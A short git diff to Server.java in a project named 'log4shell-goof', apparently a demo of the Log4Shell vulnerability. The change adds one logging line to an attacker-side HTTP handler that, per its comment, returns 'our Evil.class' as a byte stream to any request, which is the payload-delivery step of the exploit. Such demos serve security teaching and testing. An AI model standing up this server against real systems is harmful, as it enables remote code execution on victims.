diff --git a/log4shell-goof/log4shell-server/src/main/java/Server.java b/log4shell-goof/log4shell-server/src/main/java/Server.java
index 2d348dff9a..ecb8a354aa 100644
--- a/log4shell-goof/log4shell-server/src/main/java/Server.java
+++ b/log4shell-goof/log4shell-server/src/main/java/Server.java
@@ -64,6 +64,7 @@ private static void setupHTTP(int port) throws IOException {
 
             // keep it simple - any request returns our Evil.class
             .setHandler(exchange -> {
+                System.out.println("Send HTTP class byte array result");
                 exchange.getResponseHeaders().put(Headers.CONTENT_TYPE, "application/octet-stream");
                 exchange.getResponseSender().send(ByteBuffer.wrap(targetArray));
             }).build();